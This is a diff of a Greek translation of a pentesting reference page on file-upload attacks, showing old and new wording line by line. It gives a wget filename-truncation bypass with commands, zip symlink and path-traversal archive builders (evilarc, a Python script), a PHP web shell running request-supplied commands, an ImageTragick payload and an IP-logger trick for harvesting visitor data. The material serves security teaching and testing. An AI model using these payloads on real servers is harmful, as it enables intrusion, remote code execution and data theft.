Η εκτέλεση του payload συμβαίνει κατά την ανάλυση του αρχείου διαμόρφωσης. Για να ενεργοποιηθεί και να αναλυθεί η διαμόρφωση, η διεργασία uWSGI πρέπει είτε να επανεκκινηθεί (ενδεχομένως μετά από crash ή λόγω ενός Denial of Service attack) είτε το αρχείο να ρυθμιστεί για auto-reload. Η λειτουργία auto-reload, εάν είναι ενεργοποιημένη, φορτώνει ξανά το αρχείο σε καθορισμένα διαστήματα όταν εντοπίζει αλλαγές.
|
||||
|
||||
Είναι κρίσιμο να κατανοήσουμε την επιεική φύση του parsing των αρχείων ρυθμίσεων του uWSGI. Συγκεκριμένα, το συζητούμενο payload μπορεί να εισαχθεί σε ένα binary αρχείο (όπως μια εικόνα ή PDF), διευρύνοντας περαιτέρω το πεδίο πιθανής εκμετάλλευσης.
|
||||
Είναι κρίσιμο να κατανοήσετε την ελαστική/χαλαρή φύση του τρόπου ανάλυσης του αρχείου διαμόρφωσης από το uWSGI. Συγκεκριμένα, το payload που συζητήθηκε μπορεί να εισαχθεί μέσα σε ένα δυαδικό αρχείο (όπως μια εικόνα ή ένα PDF), διευρύνοντας περαιτέρω το πεδίο πιθανής εκμετάλλευσης.
|
||||
|
||||
## **wget File Upload/SSRF Trick**
|
||||
|
||||
Σε ορισμένες περιπτώσεις μπορεί να διαπιστώσετε ότι ένας server χρησιμοποιεί **`wget`** για **να κατεβάζει αρχεία** και μπορείτε να **υποδείξετε** το **URL**. Σε αυτές τις περιπτώσεις, ο κώδικας μπορεί να ελέγχει ότι η επέκταση των κατεβαζόμενων αρχείων ανήκει σε μια whitelist ώστε να διασφαλίζεται ότι θα κατέβουν μόνο επιτρεπτά αρχεία. Ωστόσο, **αυτός ο έλεγχος μπορεί να παρακαμφθεί.**\
|
||||
Το **μέγιστο** μήκος ενός **όνομα αρχείου** σε **linux** είναι **255**, ωστόσο το **wget** περικόπτει τα ονόματα αρχείων σε **236** χαρακτήρες. Μπορείτε να **κατεβάσετε ένα αρχείο με όνομα "A"\*232+".php"+".gif"**, αυτό το όνομα θα **παρακάμψει** τον **έλεγχο** (όπως σε αυτό το παράδειγμα **".gif"** είναι μια **έγκυρη** επέκταση) αλλά `wget` θα **μετονομάσει** το αρχείο σε **"A"\*232+".php"**.
|
||||
Σε ορισμένες περιπτώσεις μπορεί να διαπιστώσετε ότι ένας διακομιστής χρησιμοποιεί **`wget`** για να **κατεβάζει αρχεία** και μπορείτε να **υποδείξετε** το **URL**. Σε αυτές τις περιπτώσεις, ο κώδικας μπορεί να ελέγχει ότι η επέκταση των αρχείων που κατεβαίνουν είναι μέσα σε μια whitelist για να διασφαλίσει ότι θα κατεβούν μόνο επιτρεπτά αρχεία. Ωστόσο, **this check can be bypassed.**\
|
||||
Το **μέγιστο** μήκος ενός **ονόματος αρχείου** σε **linux** είναι **255**, ωστόσο, το **wget** περικόπτει τα ονόματα αρχείων σε **236** χαρακτήρες. Μπορείτε να **κατεβάσετε ένα αρχείο που ονομάζεται "A"\*232+".php"+".gif"**, αυτό το όνομα αρχείου θα **bypass** τον **έλεγχο** (όπως σε αυτό το παράδειγμα **".gif"** είναι μια **έγκυρη** επέκταση) αλλά `wget` θα **μετονομάσει** το αρχείο σε **"A"\*232+".php"**.
|
||||
```bash
|
||||
#Create file and HTTP server
|
||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||||
@ -156,15 +186,15 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
||||
|
||||
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
||||
```
|
||||
Σημειώστε ότι **μια άλλη επιλογή** που μπορεί να σκέφτεστε για να παρακάμψετε αυτόν τον έλεγχο είναι να κάνετε τον **HTTP server να ανακατευθύνει σε διαφορετικό αρχείο**, έτσι το αρχικό URL θα παρακάμψει τον έλεγχο και τότε το wget θα κατεβάσει το ανακατευθυνθέν αρχείο με το νέο όνομα. Αυτό **δεν θα λειτουργήσει** **εκτός αν** το wget χρησιμοποιείται με την **παράμετρο** `--trust-server-names` επειδή **το wget θα κατεβάσει τη σελίδα της ανακατεύθυνσης με το όνομα του αρχείου που υποδεικνύεται στο αρχικό URL**.
|
||||
Σημειώστε ότι **άλλη επιλογή** που ίσως σκέφτεστε για να παρακάμψετε αυτόν τον έλεγχο είναι να κάνετε τον **HTTP server να ανακατευθύνει σε διαφορετικό αρχείο**, έτσι το αρχικό URL θα παρακάμψει τον έλεγχο και στη συνέχεια το wget θα κατεβάσει το ανακατευθυνόμενο αρχείο με το νέο όνομα. Αυτό **δεν θα λειτουργήσει** **εκτός αν** το wget χρησιμοποιείται με το **παράμετρο** `--trust-server-names` επειδή **το wget θα κατεβάσει τη σελίδα που ανακατεύθυνε με το όνομα του αρχείου που υποδεικνύεται στο αρχικό URL**.
|
||||
|
||||
## Tools
|
||||
|
||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) είναι ένα ισχυρό εργαλείο σχεδιασμένο να βοηθάει Pentesters και Bug Hunters στο testing μηχανισμών file upload. Εκμεταλλεύεται διάφορες bug bounty τεχνικές για να απλοποιήσει τη διαδικασία εντοπισμού και εκμετάλλευσης ευπαθειών, εξασφαλίζοντας διεξοδικές αξιολογήσεις web εφαρμογών.
|
||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) είναι ένα ισχυρό εργαλείο σχεδιασμένο για να βοηθά Pentesters και Bug Hunters στο testing των μηχανισμών file upload. Χρησιμοποιεί διάφορες bug bounty τεχνικές για να απλοποιήσει τη διαδικασία εντοπισμού και εκμετάλλευσης ευπαθειών, εξασφαλίζοντας σχολαστικές αξιολογήσεις των web applications.
|
||||
|
||||
### Corrupting upload indices with snprintf quirks (historical)
|
||||
|
||||
Κάποιοι legacy handlers για upload που χρησιμοποιούν `snprintf()` ή παρόμοια για να χτίσουν multi-file arrays από ένα single-file upload μπορούν να εξαπατηθούν ώστε να πλαστογραφήσουν τη δομή `_FILES`. Λόγω ασυνεπειών και περικοπών στη συμπεριφορά του `snprintf()`, ένα προσεκτικά κατασκευασμένο single upload μπορεί να εμφανιστεί ως πολλαπλά indexed files στην πλευρά του server, μπερδεύοντας λογική που υποθέτει συγκεκριμένο σχήμα (π.χ., το θεωρεί multi-file upload και παίρνει unsafe branches). Παρότι σήμερα είναι πιο niche, το pattern αυτό της “index corruption” περιστασιακά αναβιώνει σε CTFs και παλαιότερα codebases.
|
||||
Κάποιοι legacy upload handlers που χρησιμοποιούν το `snprintf()` ή παρόμοιο για να φτιάξουν multi-file arrays από ένα single-file upload μπορούν να εξαπατηθούν ώστε να πλαστογραφήσουν τη δομή `_FILES`. Λόγω ασυνεπειών και αποκοπής στη συμπεριφορά του `snprintf()`, ένα προσεκτικά κατασκευασμένο single upload μπορεί να εμφανιστεί ως πολλαπλά αρχεία με δείκτες στην πλευρά του server, μπερδεύοντας λογική που υποθέτει αυστηρό σχήμα (π.χ. το χειρίζεται ως multi-file upload και παίρνει μη ασφαλείς διαδρομές). Παρότι είναι πιο εξειδικευμένο σήμερα, αυτό το pattern “index corruption” εμφανίζεται περιστασιακά σε CTFs και παλιές βάσεις κώδικα.
|
||||
|
||||
## From File upload to other vulnerabilities
|
||||
|
||||
@ -178,13 +208,13 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
||||
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
- Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
- Αν μπορείτε να **υποδείξετε στον web server να πάρει μια εικόνα από ένα URL** μπορείτε να προσπαθήσετε να καταχραστείτε ένα [SSRF](../ssrf-server-side-request-forgery/index.html). Αν αυτή η **image** πρόκειται να **αποθηκευτεί** σε κάποιο **public** site, μπορείτε επίσης να υποδείξετε ένα URL από [https://iplogger.org/invisible/](https://iplogger.org/invisible/) και να **κλέψετε πληροφορίες από κάθε επισκέπτη**.
|
||||
- Αν μπορείτε να υποδείξετε στον web server να πιάσει μια εικόνα από ένα URL, μπορείτε να προσπαθήσετε να καταχραστείτε ένα [SSRF](../ssrf-server-side-request-forgery/index.html). Αν αυτή η **image** πρόκειται να **αποθηκευτεί** σε κάποιο **public** site, μπορείτε επίσης να υποδείξετε ένα URL από [https://iplogger.org/invisible/](https://iplogger.org/invisible/) και να **κλέψετε πληροφορίες κάθε επισκέπτη**.
|
||||
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
|
||||
- Ειδικά κατασκευασμένα PDFs για XSS: Η [παρακάτω σελίδα παρουσιάζει πώς να **ενχύσετε PDF δεδομένα για να επιτύχετε JS execution**](../xss-cross-site-scripting/pdf-injection.md). Αν μπορείτε να ανεβάσετε PDFs, μπορείτε να φτιάξετε κάποιο PDF που θα εκτελεί arbitrary JS ακολουθώντας τις δοθείσες οδηγίες.
|
||||
- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content για να ελέγξετε αν ο server έχει κάποιο **antivirus**
|
||||
- Ελέγξτε αν υπάρχει κάποιο **size limit** κατά το uploading αρχείων
|
||||
- Ειδικά διαμορφωμένα PDFs για XSS: Η [ακόλουθη σελίδα παρουσιάζει πώς να **ενθέσετε δεδομένα PDF για να αποκτήσετε εκτέλεση JS**](../xss-cross-site-scripting/pdf-injection.md). Αν μπορείτε να ανεβάσετε PDFs, μπορείτε να ετοιμάσετε κάποιο PDF που θα εκτελέσει αυθαίρετο JS σύμφωνα με τις δοθείσες οδηγίες.
|
||||
- Ανεβάστε το \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) περιεχόμενο για να ελέγξετε αν ο server έχει κάποιο **antivirus**
|
||||
- Ελέγξτε αν υπάρχει κάποιο **όριο μεγέθους** κατά το uploading αρχείων
|
||||
|
||||
Here’s a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
Ακολουθεί μια λίστα top 10 πραγμάτων που μπορείτε να πετύχετε ανεβάζοντας αρχεία (από [εδώ](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
|
||||
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
|
||||
2. **SVG**: Stored XSS / SSRF / XXE
|
||||
@ -206,18 +236,18 @@ https://github.com/portswigger/upload-scanner
|
||||
|
||||
## Magic Header Bytes
|
||||
|
||||
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
|
||||
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["`
|
||||
- **JPG**: `"\xff\xd8\xff"`
|
||||
|
||||
Αναφερθείτε στο [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) για άλλους τύπους αρχείων.
|
||||
Refer to [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) for other filetypes.
|
||||
|
||||
## Zip/Tar File Automatically decompressed Upload
|
||||
|
||||
Αν μπορείτε να ανεβάσετε ένα ZIP που πρόκειται να αποσυμπιεστεί μέσα στον server, μπορείτε να κάνετε 2 πράγματα:
|
||||
If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things:
|
||||
|
||||
### Symlink
|
||||
|
||||
Upload ένα archive που περιέχει soft links προς άλλα αρχεία, και στη συνέχεια, προσπελάζοντας τα αποσυμπιεσμένα αρχεία θα έχετε πρόσβαση στα linked αρχεία:
|
||||
Ανεβάστε ένα archive που περιέχει soft links προς άλλα αρχεία, τότε, προσπελάζοντας τα αποσυμπιεσμένα αρχεία θα έχετε πρόσβαση στα linked files:
|
||||
```
|
||||
ln -s ../../../index.php symindex.txt
|
||||
zip --symlinks test.zip symindex.txt
|
||||
@ -225,18 +255,18 @@ tar -cvf test.tar symindex.txt
|
||||
```
|
||||
### Αποσυμπίεση σε διαφορετικούς φακέλους
|
||||
|
||||
Η απρόσμενη δημιουργία αρχείων σε καταλόγους κατά την αποσυμπίεση αποτελεί σημαντικό ζήτημα. Παρά τις αρχικές υποθέσεις ότι αυτή η ρύθμιση μπορεί να αποτρέψει την εκτέλεση εντολών σε επίπεδο OS μέσω κακόβουλων file uploads, η ιεραρχική υποστήριξη συμπίεσης και οι δυνατότητες directory traversal της μορφής αρχείου ZIP μπορούν να εκμεταλλευτούν. Αυτό επιτρέπει σε επιτιθέμενους να παρακάμψουν περιορισμούς και να διαφύγουν από ασφαλείς upload directories χειραγωγώντας τη λειτουργία αποσυμπίεσης της στοχευόμενης εφαρμογής.
|
||||
Η απρόσμενη δημιουργία αρχείων σε καταλόγους κατά την αποσυμπίεση είναι ένα σημαντικό πρόβλημα. Παρά τις αρχικές υποθέσεις ότι αυτή η ρύθμιση μπορεί να αποτρέψει την εκτέλεση εντολών σε επίπεδο OS μέσω κακόβουλων file uploads, η υποστήριξη ιεραρχικής συμπίεσης και οι δυνατότητες directory traversal του μορφότυπου ZIP μπορούν να εκμεταλλευτούν. Αυτό επιτρέπει στους επιτιθέμενους να παρακάμπτουν περιορισμούς και να διαφεύγουν από ασφαλείς upload directories χειραγωγώντας τη λειτουργία αποσυμπίεσης της στοχευμένης εφαρμογής.
|
||||
|
||||
Διαθέσιμο είναι ένα αυτοματοποιημένο exploit για τη δημιουργία τέτοιων αρχείων στο [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Το εργαλείο μπορεί να χρησιμοποιηθεί όπως φαίνεται:
|
||||
Ένα αυτοματοποιημένο exploit για τη δημιουργία τέτοιων αρχείων είναι διαθέσιμο στο [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Το εργαλείο μπορεί να χρησιμοποιηθεί ως εξής:
|
||||
```python
|
||||
# Listing available options
|
||||
python2 evilarc.py -h
|
||||
# Creating a malicious archive
|
||||
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
||||
```
|
||||
Επιπλέον, το **symlink trick with evilarc** είναι μια επιλογή. Εάν ο στόχος είναι να στοχεύσετε ένα αρχείο όπως το `/flag.txt`, θα πρέπει να δημιουργηθεί ένα symlink προς αυτό το αρχείο στο σύστημά σας. Αυτό διασφαλίζει ότι το evilarc δεν θα συναντήσει σφάλματα κατά τη λειτουργία του.
|
||||
Επιπλέον, το **symlink trick with evilarc** είναι μια επιλογή. Αν ο στόχος είναι να στοχεύσετε ένα αρχείο όπως το `/flag.txt`, θα πρέπει να δημιουργήσετε ένα symlink προς αυτό το αρχείο στο σύστημά σας. Αυτό εξασφαλίζει ότι το evilarc δεν θα συναντήσει σφάλματα κατά τη λειτουργία του.
|
||||
|
||||
Παρακάτω υπάρχει ένα παράδειγμα κώδικα Python που χρησιμοποιείται για τη δημιουργία ενός κακόβουλου zip αρχείου:
|
||||
Παρακάτω είναι ένα παράδειγμα Python code που χρησιμοποιείται για να δημιουργήσει ένα malicious zip file:
|
||||
```python
|
||||
#!/usr/bin/python
|
||||
import zipfile
|
||||
@ -256,9 +286,9 @@ create_zip()
|
||||
```
|
||||
**Κατάχρηση συμπίεσης για file spraying**
|
||||
|
||||
Για περισσότερες πληροφορίες **δείτε το αρχικό post στο**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
Για περισσότερες λεπτομέρειες **δείτε το αρχικό άρθρο στο**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
|
||||
1. **Creating a PHP Shell**: Ο PHP κώδικας γράφεται για να εκτελεί εντολές που δίνονται μέσω της μεταβλητής `$_REQUEST`.
|
||||
1. **Creating a PHP Shell**: Γράφεται PHP κώδικας που εκτελεί εντολές που περνιούνται μέσω της μεταβλητής `$_REQUEST`.
|
||||
|
||||
```php
|
||||
<?php
|
||||
@ -268,14 +298,14 @@ system($cmd);
|
||||
}?>
|
||||
```
|
||||
|
||||
2. **File Spraying and Compressed File Creation**: Δημιουργούνται πολλαπλά αρχεία και συναρμολογείται ένα zip αρχείο που περιέχει αυτά τα αρχεία.
|
||||
2. **File Spraying and Compressed File Creation**: Δημιουργούνται πολλά αρχεία και συγκεντρώνεται ένα αρχείο zip που περιέχει αυτά τα αρχεία.
|
||||
|
||||
```bash
|
||||
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
|
||||
root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
```
|
||||
|
||||
3. **Modification with a Hex Editor or vi**: Τα ονόματα των αρχείων μέσα στο zip τροποποιούνται χρησιμοποιώντας vi ή Hex Editor, αντικαθιστώντας το "xxA" με "../" to traverse directories.
|
||||
3. **Modification with a Hex Editor or vi**: Τα ονόματα των αρχείων μέσα στο zip τροποποιούνται χρησιμοποιώντας vi ή έναν hex editor, αλλάζοντας το "xxA" σε "../" για να πραγματοποιηθεί directory traversal.
|
||||
|
||||
```bash
|
||||
:set modifiable
|
||||
@ -285,7 +315,7 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
|
||||
## ImageTragic
|
||||
|
||||
Ανεβάστε αυτό το περιεχόμενο με επέκταση εικόνας για να exploit the vulnerability **(ImageMagick , 7.0.1-1)** (από το [exploit](https://www.exploit-db.com/exploits/39767))
|
||||
Ανεβάστε αυτό το περιεχόμενο με επέκταση εικόνας για να εκμεταλλευτείτε την ευπάθεια **(ImageMagick , 7.0.1-1)** (από το [exploit](https://www.exploit-db.com/exploits/39767))
|
||||
```
|
||||
push graphic-context
|
||||
viewbox 0 0 640 480
|
||||
@ -294,29 +324,29 @@ pop graphic-context
|
||||
```
|
||||
## Ενσωμάτωση PHP Shell σε PNG
|
||||
|
||||
Η ενσωμάτωση ενός PHP shell στο chunk IDAT ενός αρχείου PNG μπορεί να παρακάμψει αποτελεσματικά ορισμένες λειτουργίες επεξεργασίας εικόνας. Οι συναρτήσεις `imagecopyresized` και `imagecopyresampled` από PHP-GD είναι ιδιαίτερα σχετικές σε αυτό το πλαίσιο, καθώς χρησιμοποιούνται συνήθως για resizing και resampling εικόνων, αντίστοιχα. Η ικανότητα του ενσωματωμένου PHP shell να παραμένει ανεπηρέαστο από αυτές τις λειτουργίες αποτελεί σημαντικό πλεονέκτημα για ορισμένες χρήσεις.
|
||||
Η ενσωμάτωση ενός PHP shell στο chunk IDAT ενός αρχείου PNG μπορεί να παρακάμψει αποτελεσματικά ορισμένες λειτουργίες επεξεργασίας εικόνας. Οι συναρτήσεις `imagecopyresized` και `imagecopyresampled` από την PHP-GD είναι ιδιαίτερα σχετικές σε αυτό το πλαίσιο, καθώς χρησιμοποιούνται συνήθως για αλλαγή μεγέθους και resampling εικόνων, αντίστοιχα. Η ικανότητα του ενσωματωμένου PHP shell να παραμένει ανεπηρέαστο από αυτές τις λειτουργίες αποτελεί σημαντικό πλεονέκτημα για ορισμένες χρήσεις.
|
||||
|
||||
Μια λεπτομερής ανάλυση αυτής της τεχνικής, συμπεριλαμβανομένης της μεθοδολογίας και των πιθανών εφαρμογών της, παρέχεται στο ακόλουθο άρθρο: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Αυτός ο πόρος προσφέρει μια ολοκληρωμένη κατανόηση της διαδικασίας και των επιπτώσεών της.
|
||||
Μια λεπτομερής διερεύνηση αυτής της τεχνικής, συμπεριλαμβανομένης της μεθοδολογίας και των πιθανών εφαρμογών, παρέχεται στο ακόλουθο άρθρο: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Αυτός ο πόρος προσφέρει μια ολοκληρωμένη κατανόηση της διαδικασίας και των επιπτώσεών της.
|
||||
|
||||
Περισσότερες πληροφορίες σε: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
|
||||
## Polyglot Files
|
||||
|
||||
Τα polyglot αρχεία λειτουργούν ως μοναδικό εργαλείο στην κυβερνοασφάλεια, ενεργώντας σαν χαμαιλέοντες που μπορούν νόμιμα να υπάρξουν σε πολλαπλές μορφές αρχείων ταυτόχρονα. Ένα συναρπαστικό παράδειγμα είναι το [GIFAR](https://en.wikipedia.org/wiki/Gifar), ένα hybrid που λειτουργεί τόσο ως GIF όσο και ως RAR archive. Τέτοια αρχεία δεν περιορίζονται σε αυτό το συνδυασμό· δυνατοί είναι και συνδυασμοί όπως GIF και JS ή PPT και JS.
|
||||
Polyglot files αποτελούν ένα μοναδικό εργαλείο στην ασφάλεια στον κυβερνοχώρο, λειτουργώντας σαν χαμαιλέοντες που μπορούν νόμιμα να υπάρχουν σε πολλαπλές μορφές αρχείων ταυτόχρονα. Ένα ενδιαφέρον παράδειγμα είναι το [GIFAR](https://en.wikipedia.org/wiki/Gifar), ένα υβρίδιο που λειτουργεί και ως GIF και ως RAR archive. Τέτοια αρχεία δεν περιορίζονται σε αυτό το ζεύγος· συνδυασμοί όπως GIF και JS ή PPT και JS είναι επίσης εφικτοί.
|
||||
|
||||
Η βασική χρησιμότητα των polyglot αρχείων έγκειται στην ικανότητά τους να παρακάμπτουν μέτρα ασφαλείας που ελέγχουν αρχεία βάσει τύπου. Συνηθισμένη πρακτική σε διάφορες εφαρμογές είναι να επιτρέπονται μόνο συγκεκριμένοι τύποι αρχείων για upload—όπως JPEG, GIF, ή DOC—για να μειωθεί ο κίνδυνος που προκαλούν δυνητικά επικίνδυνα formats (π.χ. JS, PHP, ή Phar αρχεία). Ωστόσο, ένα polyglot, συμμορφούμενο με τις δομικές προδιαγραφές πολλαπλών τύπων αρχείων, μπορεί να παρακάμψει κρυφά αυτούς τους περιορισμούς.
|
||||
Η βασική χρησιμότητα των polyglot files έγκειται στην ικανότητά τους να παρακάμπτουν μηχανισμούς ασφαλείας που ελέγχουν αρχεία βάσει τύπου. Συνήθη πρακτική σε διάφορες εφαρμογές είναι να επιτρέπονται μόνο ορισμένοι τύποι αρχείων για upload — όπως JPEG, GIF ή DOC — για να μειωθεί ο κίνδυνος από δυνητικά επικίνδυνα formats (π.χ., JS, PHP ή Phar αρχεία). Ωστόσο, ένα polyglot, συμμορφούμενο με τις δομικές προϋποθέσεις πολλαπλών τύπων αρχείων, μπορεί αθόρυβα να παρακάμψει αυτούς τους περιορισμούς.
|
||||
|
||||
Παρά την προσαρμοστικότητά τους, τα polyglots αντιμετωπίζουν περιορισμούς. Για παράδειγμα, ενώ ένα polyglot μπορεί ταυτόχρονα να ενσωματώνει ένα PHAR file και ένα JPEG, η επιτυχία του upload μπορεί να εξαρτηθεί από την πολιτική επέκτασης αρχείων της πλατφόρμας. Αν το σύστημα είναι αυστηρό όσον αφορά τις επιτρεπόμενες επεκτάσεις, η απλή δομική διττότητα ενός polyglot μπορεί να μην αρκεί για να εξασφαλίσει το upload.
|
||||
Παρόλη την προσαρμοστικότητά τους, τα polyglots αντιμετωπίζουν περιορισμούς. Για παράδειγμα, ενώ ένα polyglot μπορεί ταυτόχρονα να είναι PHAR file (PHp ARchive) και JPEG, η επιτυχία του upload μπορεί να εξαρτάται από την πολιτική της πλατφόρμας σχετικά με τις επεκτάσεις αρχείων. Αν το σύστημα είναι αυστηρό όσον αφορά τις επιτρεπόμενες επεκτάσεις, η απλή δομική διττότητα ενός polyglot μπορεί να μην είναι επαρκής για να εγγυηθεί το upload.
|
||||
|
||||
Περισσότερες πληροφορίες σε: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
### Upload valid JSONs like if it was PDF
|
||||
|
||||
Πώς να αποφύγετε τις ανιχνεύσεις τύπου αρχείου ανεβάζοντας ένα έγκυρο JSON ακόμα κι αν δεν επιτρέπεται, προσποιώντας ότι είναι PDF (τεχνικές από **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
|
||||
Πώς να αποφύγετε τον εντοπισμό τύπου αρχείου ανεβάζοντας ένα έγκυρο JSON αρχείο ακόμα και αν δεν επιτρέπεται, προσποιούμενοι ότι είναι PDF (τεχνικές από **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
|
||||
|
||||
- **`mmagic` library**: Εφόσον τα μαγικά bytes `%PDF` βρίσκονται στα πρώτα 1024 bytes θεωρείται έγκυρο (βλ. παράδειγμα στο άρθρο)
|
||||
- **`pdflib` library**: Προσθέστε ένα ψεύτικο PDF format μέσα σε ένα field του JSON ώστε η library να νομίζει ότι είναι pdf (βλ. παράδειγμα στο άρθρο)
|
||||
- **`file` binary**: Μπορεί να διαβάσει μέχρι 1048576 bytes από ένα αρχείο. Δημιουργήστε ένα JSON μεγαλύτερο από αυτό ώστε να μην μπορεί να αναλύσει το περιεχόμενο ως json και μετά μέσα στο JSON τοποθετήστε το αρχικό μέρος ενός πραγματικού PDF και θα το θεωρήσει PDF
|
||||
- **`mmmagic` library**: Όσο τα magic bytes `%PDF` βρίσκονται στα πρώτα 1024 bytes είναι έγκυρο (δείτε παράδειγμα στο post)
|
||||
- **`pdflib` library**: Προσθέστε ένα ψεύτικο PDF format μέσα σε ένα πεδίο του JSON ώστε η βιβλιοθήκη να νομίζει ότι είναι pdf (δείτε παράδειγμα στο post)
|
||||
- **`file` binary**: Μπορεί να διαβάσει μέχρι 1048576 bytes από ένα αρχείο. Δημιουργήστε ένα JSON μεγαλύτερο από αυτό ώστε να μην μπορεί να κάνει parse το περιεχόμενο ως json και μετά μέσα στο JSON βάλτε το αρχικό μέρος ενός πραγματικού PDF και θα θεωρήσει ότι είναι PDF
|
||||
|
||||
## References
|
||||
|
||||
@ -328,5 +358,8 @@ pop graphic-context
|
||||
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
- [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
|
||||
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
|
||||
- [CVE-2024-21546 – NVD entry](https://nvd.nist.gov/vuln/detail/CVE-2024-21546)
|
||||
- [PoC gist for LFM .php. bypass](https://gist.github.com/ImHades101/338a06816ef97262ba632af9c78b78ca)
|
||||
- [0xdf – HTB Environment (UniSharp LFM upload → PHP RCE)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user